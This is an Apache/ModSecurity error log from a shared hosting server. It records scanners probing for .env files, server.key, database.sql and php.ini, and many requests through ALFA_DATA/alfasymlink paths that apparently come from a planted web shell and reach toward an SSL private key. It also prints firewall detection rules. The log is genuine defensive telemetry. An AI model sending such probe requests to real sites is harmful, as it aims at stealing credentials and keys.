[Sun Oct 25 07:18:36.294121 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at3ljNM5mscaDMZSsHxqnQAAAAE"]
[Sun Oct 25 07:18:36.294497 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at3ljNM5mscaDMZSsHxqnQAAAAE"]
[Sun Oct 25 07:18:36.321574 2026] [proxy_fcgi:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 07:18:36.393170 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3ljNM5mscaDMZSsHxqngAAAAE"]
[Sun Oct 25 07:18:36.393405 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3ljNM5mscaDMZSsHxqngAAAAE"]
[Sun Oct 25 07:18:36.393748 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3ljNM5mscaDMZSsHxqngAAAAE"]
[Sun Oct 25 07:18:36.526667 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at3ljMFBowqkM0cGnNCRogAAAA8"]
[Sun Oct 25 07:18:36.527007 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at3ljMFBowqkM0cGnNCRogAAAA8"]
[Sun Oct 25 07:18:36.527328 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at3ljMFBowqkM0cGnNCRogAAAA8"]
[Sun Oct 25 07:18:39.798585 2026] [security2:error] [pid 2821699:tid 2821699] [client 130.12.180.170:39062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "farma1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lj5BSQk9YSmLuOvuPHQAAAAM"]
[Sun Oct 25 07:18:39.798855 2026] [security2:error] [pid 2821699:tid 2821699] [client 130.12.180.170:39062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "farma1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lj5BSQk9YSmLuOvuPHQAAAAM"]
[Sun Oct 25 07:18:39.799134 2026] [security2:error] [pid 2821699:tid 2821699] [client 130.12.180.170:39062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "farma1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lj5BSQk9YSmLuOvuPHQAAAAM"]
[Sun Oct 25 07:18:46.138286 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 35.169.119.108:13452] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:18:48.908390 2026] [security2:error] [pid 2822163:tid 2822163] [client 130.12.180.166:31212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "farma2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lmNM5mscaDMZSsHxqoAAAAAE"]
[Sun Oct 25 07:18:48.908655 2026] [security2:error] [pid 2822163:tid 2822163] [client 130.12.180.166:31212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "farma2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lmNM5mscaDMZSsHxqoAAAAAE"]
[Sun Oct 25 07:18:48.908859 2026] [security2:error] [pid 2822163:tid 2822163] [client 130.12.180.166:31212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "farma2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lmNM5mscaDMZSsHxqoAAAAAE"]
[Sun Oct 25 07:18:54.444618 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.22.64.232:10867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:02.136959 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.202.233.37:9431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:06.319932 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.212.145.46:40516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:10.132668 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.225.181.161:39340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:14.244936 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.163.136.244:22216] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:18.149075 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.193.102.198:18487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:46.139680 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.200.142.199:45648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:50.239821 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 23.21.204.95:33854] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:19:54.133267 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.202.233.37:19749] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:06.158197 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.210.152.179:36342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:10.145196 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.204.174.139:1879] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:11.108389 2026] [authz_core:error] [pid 2822163:tid 2822163] [client 45.198.224.125:47154] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:20:14.135324 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 98.83.10.183:17747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:26.202192 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 54.225.98.148:22597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/driver/unbind
[Sun Oct 25 07:20:30.220597 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 50.19.102.70:61932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:34.932028 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 185.191.171.14:45088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/slabs
[Sun Oct 25 07:20:38.165626 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.84.93.8:42860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:42.303716 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 23.21.225.190:35286] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:50.246748 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.166.126.132:3859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:20:56.155893 2026] [security2:error] [pid 2815605:tid 2815605] [client 43.159.141.150:57896] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at3mGAYPMfHr0EMMDlnlhgAAABM"]
[Sun Oct 25 07:21:06.266589 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 18.213.240.226:60434] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:21:06.468786 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.200:63964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/poison
[Sun Oct 25 07:21:10.176303 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 184.73.195.18:21818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:21:26.175706 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.230.224.6:62932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:21:28.744433 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.206:22902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/slabs_cpu_partial
[Sun Oct 25 07:21:38.278413 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.28.204.82:48620] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:21:39.249475 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.201:33372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/cache_dma
[Sun Oct 25 07:21:50.401768 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 185.191.171.7:40412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/slabs
[Sun Oct 25 07:21:58.159975 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.239.197.197:62071] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:22:02.760326 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.10:55392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/object_size
[Sun Oct 25 07:22:10.152847 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.157.99.244:8207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:22:10.417868 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.206:13440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/usersize
[Sun Oct 25 07:22:14.144310 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.231.156.59:41608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:22:50.141271 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.44.148.203:26445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:22:54.138956 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.207.69.106:15415] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:23:06.178665 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 44.209.35.147:52203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:23:10.192642 2026] [ssl:error] [pid 2815605:tid 2815605] (5)Input/output error: [client 54.83.23.103:60465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:23:22.157527 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.197.178.107:38845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:23:42.186760 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.224.132.215:60857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:23:42.639397 2026] [security2:error] [pid 2821699:tid 2821699] [client 85.208.96.198:52968] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/weberp/upgrade.php"] [unique_id "at3mvpBSQk9YSmLuOvuPLgAAAAM"]
[Sun Oct 25 07:23:42.639467 2026] [security2:error] [pid 2821699:tid 2821699] [client 85.208.96.198:52968] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/weberp/upgrade.php"] [unique_id "at3mvpBSQk9YSmLuOvuPLgAAAAM"]
[Sun Oct 25 07:23:58.157391 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.71.216.196:21650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:02.154846 2026] [ssl:error] [pid 2815606:tid 2815606] (5)Input/output error: [client 18.232.36.1:2239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:10.205465 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 18.214.238.178:33661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/cpu0/driver/bind
[Sun Oct 25 07:24:14.152517 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.204.37.237:15724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:18.151324 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.87.62.248:7878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:30.157145 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.223.116.149:8273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:42.152726 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.223.232.55:40344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:46.173739 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.153.86.200:28703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:50.156623 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.235.239.240:32543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:54.191076 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.152.163.42:48823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:24:58.142083 2026] [ssl:error] [pid 2806348:tid 2806348] (5)Input/output error: [client 50.16.248.61:41838] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:25:02.317053 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 52.201.155.215:11194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/net/lo/subsystem/eth0/device/driver/virtio0/driver/unbind
[Sun Oct 25 07:25:10.152360 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 98.84.184.80:62446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:25:14.207063 2026] [security2:error] [pid 2815602:tid 2815602] [client 3.212.205.90:59361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0C0F:04/power/"] [unique_id "at3nGty-_GHm1dX7tKN3rAAAABA"]
[Sun Oct 25 07:25:14.207105 2026] [security2:error] [pid 2815602:tid 2815602] [client 3.212.205.90:59361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0C0F:04/power/"] [unique_id "at3nGty-_GHm1dX7tKN3rAAAABA"]
[Sun Oct 25 07:25:18.179253 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 54.197.102.71:38582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input3/mouse1/device/subsystem/input5/device/driver/unbind
[Sun Oct 25 07:25:30.203329 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.89.170.186:6324] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:25:34.168132 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 23.21.148.226:56050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:25:37.735289 2026] [authz_core:error] [pid 2821699:tid 2821699] [client 77.90.185.5:62671] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/
[Sun Oct 25 07:25:38.144222 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.162.69.192:63286] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:25:38.321355 2026] [authz_core:error] [pid 2815606:tid 2815606] [client 77.90.185.5:63459] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://sherwinpinturas.com/contacto/
[Sun Oct 25 07:25:44.288039 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.14:61548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/slabs_cpu_partial
[Sun Oct 25 07:25:59.152095 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 185.191.171.1:52272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/hwcache_align
[Sun Oct 25 07:26:06.144411 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 34.202.88.37:38185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:26:14.190401 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.204.253.129:57983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:26:26.158592 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.167.32.123:4794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:26:28.804729 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.12:24490] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb622_53851_1cb5dcf1d64d7c765b82ff03e9b3ff31.key"] [unique_id "at3nZJBSQk9YSmLuOvuPOAAAAAM"]
[Sun Oct 25 07:26:28.805110 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.12:24490] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb622_53851_1cb5dcf1d64d7c765b82ff03e9b3ff31.key"] [unique_id "at3nZJBSQk9YSmLuOvuPOAAAAAM"]
[Sun Oct 25 07:26:28.805434 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.12:24490] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb622_53851_1cb5dcf1d64d7c765b82ff03e9b3ff31.key"] [unique_id "at3nZJBSQk9YSmLuOvuPOAAAAAM"]
[Sun Oct 25 07:26:34.141850 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.83.23.103:30804] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:26:38.141703 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 18.206.47.187:49143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:26:42.278136 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.216.13.10:36933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:26:50.694358 2026] [authz_core:error] [pid 2815601:tid 2815601] [client 195.178.110.159:16208] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
